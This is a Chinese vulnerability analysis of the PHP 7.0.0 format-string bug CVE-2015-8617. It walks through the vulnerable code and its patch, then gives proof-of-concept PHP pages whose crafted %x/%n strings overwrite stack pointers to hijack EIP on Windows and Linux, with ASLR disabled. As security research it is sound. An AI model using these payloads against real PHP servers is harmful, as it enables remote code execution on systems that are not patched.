PHP7.0.0格式化字符串漏洞與EIP劫持分析
PHP7.0.0的這個格式化字符串漏洞是15年12月在exploit-db上發現的。當初發現時,筆者還在北京東北方向的某信息安全公司上班,那時比較忙,并未能深入探究。最近幾天無意間又看到了這個漏洞,發現該漏洞多了一個CVE編號:CVE-2015-8617,于是深入地看了看這個漏洞,在這里對該格式化字符串漏洞進行一些簡要分析,并討論一下利用該漏洞劫持EIP的潛在方法,供各位讀者參考。
1. 引言
在PHP中有兩個常見的格式化字符串函數,分別是sppintf()和vsppintf(),它們分別對應sprintf()函數和vsprintf()函數,這兩個函數的聲明為:
PHPAPI int spprintf( char **pbuf, size_t max_len, const char *format, ...);
PHPAPI int vspprintf(char **pbuf, size_t max_len, const char *format, va_list ap);
通過其函數聲明可以看到,spprintf()接收可變數量的參數,而vspprintf()僅接收4個參數。
雖然這兩個函數的內部實現原理是類似的,但筆者不打算就此點進行深入討論,如有感興趣讀者,可以看一看《程序員的自我修養》一書。關于格式化字符串漏洞的分析文章普遍集中于sprintf()函數,而在本文中則需要重點討論一下vsprintf()函數,即著重討論下PHP中的vspprintf()函數。
2. 漏洞分析
本文所研究的vspprintf()函數在zend_throw_error()函數中,當觸發漏洞時,zend_throw_error()函數由zend_throw_or_error()函數調用。zend_throw_or_error()函數不是很長,所以復制其代碼如下:
static void zend_throw_or_error(int fetch_type, zend_class_entry *exception_ce, const char *format, ...)
{
va_list va;
char *message = NULL;
va_start(va, format);
zend_vspprintf(&message, 0, format, va);
if (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) {
zend_throw_error(exception_ce, message); //vul_func
//zend_throw_error(exception_ce, "%s", message); patched in the subsequent version
} else {
zend_error(E_ERROR, "%s", message);
}
efree(message);
va_end(va);
}
在上述代碼段中,觸發漏洞的函數調用已用紅色筆標明出,由于調用時少了一個參數導致觸發了格式化字符串漏洞。該漏洞的補丁也用紅色筆在代碼中標明了。
關于該格式化字符串漏洞,并沒有很多需要分析說明的地方,下面開始分別從windows和linux兩個環境中討論利用該漏洞劫持EIP的方法。
3.windows 環境下分析
為了減少在win7環境下的分析難度,筆者暫且把ASLR關掉。若計劃實現穩定的EIP劫持,可能還需要通過其他手段獲取一些模塊基址,當然這PHP7.0.0格式化字符串漏洞本身也可以泄露一部分有用的內存數據。
在windows版本的PHP中,其漏洞函數位于php7ts.dll動態鏈接庫中,構造php頁面如下:
<?php
$name="%n%n";
$name::doSomething();
?>
通過調試器啟動PHP解析該php頁面,執行到程序崩潰時,通過棧回溯,可以找到vspprintf()函數調用(該函數是導出函數,也可以直接在導出表中找到此函數),在該函數的函數頭下斷點,重新執行,找到即將觸發漏洞的某次調用。此時,觀察棧中的數據:
上圖中,棧頂是函數返回地址,即返回到zend_throw_error()函數中,接下來的是vspprintf()函數的四個參數。其中,0441E890即為va_list類型的參數。
這里需要指出的是,如果是傳統的spprintf()函數的格式化字符串溢出,則只需要不斷地利用%x遞增棧上參數數量,最后利用%n實現覆蓋函數返回地址即可有效地實現劫持EIP。但是此處是vspprintf()函數的,只接受4個參數,所以如果打算繼續劫持EIP,則需要研究一下va_list,va_list在不同環境下的定義略有不同,這里我們可以粗略地定義va_list類型如下:
#define va_list void*
即認為va_list是一個指向可變數量參數的指針。在vspprintf()函數中,對于%x的處理是直接取va_list指向的內容,如下圖:
其中,0441E890即為va_list的起始地址,通過圖1的第四個參數可以觀察到。對于第一個%x,則輸出0565D3C0;對于第二個%x,則輸出96E436E2;對于第三個%x,則輸出0441E8C4,以此類推下去。
在vspprintf()函數中,對于%n的處理則較為麻煩,它不會像%x那樣直接依次地讀寫下去,而是取va_list指向的參數表的每個參數作為指針,進而覆蓋該指針所指向的內容。結合圖2,具體敘述如下:對于第一個%n,則覆蓋0565D3C0所指向的內容,對于第二個%n,則覆蓋96E436E2所指向的內容,此時PHP就崩潰了,因為該地址是無效的。
此時,是無法直接覆蓋函數的返回地址。為實現劫持EIP的目的,需要在棧上找一個二級指針。該二級指針取值第一次為保存函數返回地址變量的地址,取值兩次為函數返回地址變量的值。但筆者在棧上并沒有找到所需的二級指針,所以,筆者只能選擇構造一個這樣子的指針,其構造方法如下:
1,首先在棧上選擇一個合適位置,該位置存儲內容指向棧的另一個位置,指向位置大于且接近該位置的地址。
復制部分棧內容如下:
0441E890 0565D3C0
0441E894 96E436E2
0441E898 0441E8C4< ------- 合適
0441E89C 102F8BE2
0441E8A0 00000200
正如上表所示,0441E8C4就是4字節對齊的,大于且接近0441E898,是一個非常合適的棧位置。
2,通過上一步找到的合適位置,覆蓋0441E8C4的內容,使其指向棧上保存函數返回地址的地址。
在筆者調試時,將其覆蓋為0441E82C,即當前函數返回到vspprintf()函數的返回地址:
3,第一次覆蓋之后,用%x繼續在棧上滑行,直到0441E8C4的位置,此時將會第二次覆蓋0441E82C的內容,使其指向我們需要跳轉的位置,比方說跳轉到04422222的位置。
按照上述思路,其棧空間的內容大致如下:
…
0441E824 96E40112
0441E828 96E43659
0441E82C 04422222 <-----第二次覆蓋
0441E830 0565D3C0
0441E834 0441E890
…
0441E890 0565D3C0 < -----起始
0441E894 96E436E2
0441E898 0441E8C4 <-----合適位置
0441E89C 102F8BE2
0441E8A0 00000200
…
0441E8BC 05614006
0441E8C0 96E436C2
0441E8C4 0441E82C <-----第一次覆蓋
0441E8C8 103865E9
0441E8CC 056631C0
…
基于此,筆者嘗試構造php頁面如下:
<?php
$name="%71428125x%x%n%x%x%x%x%x%x%x%x%x%14788x%n";
$name::doSomething();
?>
當PHP解析該頁面的時候,首先輸出2個%x后,遇到第一個%n,則會覆蓋0441E8C4覆蓋為0441E82C;繼續跳過10個%x后,遇到第二個%n,則會覆蓋0441E82C覆蓋為04422222。
其運行結果如下圖所示:
單步執行后,就會來到04422222的位置:
Windows環境下的分析就到此位置,至于出現的幾個常數:71428125和14788以及10個%x從何而來,相信讀者自己也能想到。至于是否可以在棧上構造一些合適的數據,最后通過ROP實現EXP,這點也留給讀者自己考慮分析一下吧。
4.Linux 環境下分析
Linux環境下,同樣先把ASLR關掉,用以減少我們的分析難度。與Windows環境下的分析略有不同,由于Linux環境下的棧基址比較高,如下圖所示:
聲明一個如此之長的字符串,容易出現各種各樣的問題,所以筆者只好放棄直接覆蓋函數返回地址實現劫持EIP的方法。
這里考慮另一種劫持EIP的方法,覆蓋對象虛表的方法(一般情況下有三種常見的方法,在筆者之前的分析《kill.exe溢出漏洞分析與EXP討論》中有提到,感興趣的讀者可以看一下)。構造合適的php頁面,令PHP不崩潰,而是讓其繼續下去的話,就會發現PHP接下來將要調用_object_init_ex()函數,初始化異常對象。該初始化函數會進一步調用object_and_properties_init()函數,而在此函數中,會調用對象虛表中的函數,關鍵代碼段如下:
object_and_properties_init()
{
…
mov ebx, [esp+0Ch+class_type]
…
mov eax, [ebx+0FCh]
…
call eax ; call [[esp+0Ch+class_type]+0FCh]
…
}
考慮到此時存儲在[esp+0Ch+class_type]+0FCh的值比較小,可以嘗試利用此處的call eax實現劫持EIP。
選擇在第3章節描述的二次覆蓋方法,可以構造棧空間如下:
…
08948F5C 08945D4C
08948F60 08945D50
08948F64 08955555 < -----第二次覆蓋
08948F68 00000000
08948F6C 00000000
…
BFFFBF94 B5C650A0< -----起始
BFFFBF98 087F41E7
BFFFBF9C BFFFBFCC < -----合適位置
BFFFBFA0 0895F890
BFFFBFA4 00000000
…
BFFFBFC4 00000000
BFFFBFC8 087F41E7
BFFFBFCC 08948F64< -----第一次覆蓋
BFFFBFD0 B5C14020
BFFFBFD4 B5C74054
…
基于以上討論,筆者構造php頁面如下:
<?php
ini_set("memory_limit", "2G");
$name="%143953757x%n%x%x%x%x%x%x%x%x%x%x%50621x%n";
$name::doSomething();
?>
當PHP在解析該頁時,第一次遇到%n將會覆蓋8FFFBFCC位置的數據為08948F64;而第二次遇到%n時,將08948F4位置的數據覆蓋為08955555。此后,程序會正常執行,直到call eax指令的位置:
此時,PHP將跳轉到我們指定的地址繼續執行,在上圖中為8955555地址。
值得慶幸的是,在Linux環境中,并沒有Windows環境的CFG保護。如果存在CFG保護,即有/GUARD:CF標記,將可能導致此種利用方式失敗。
Linux環境下的分析也就到此位置,至于出現的幾個常數:143953757和50621以及11個%x從何而來,相信讀者自己也能想到。至于是否可以實現有效的EXP,這點也留給讀者自己考慮分析一下吧。
5. 小結
本文簡要地分析了PHP7.0.0格式化字符串漏洞,并在windows和linux兩種不同的環境下,給出了運用該漏洞劫持EIP的方法。但需要指出的是,本文所有的分析都在禁用了ASLR的場景之下進行的,若打算實際利用該漏洞,還需要獲取一些模塊基址等其他有用信息。而關于這些,筆者就不再多說,還是交給感興趣的讀者自己研究吧。
來自:http://www.freebuf.com/vuls/116398.html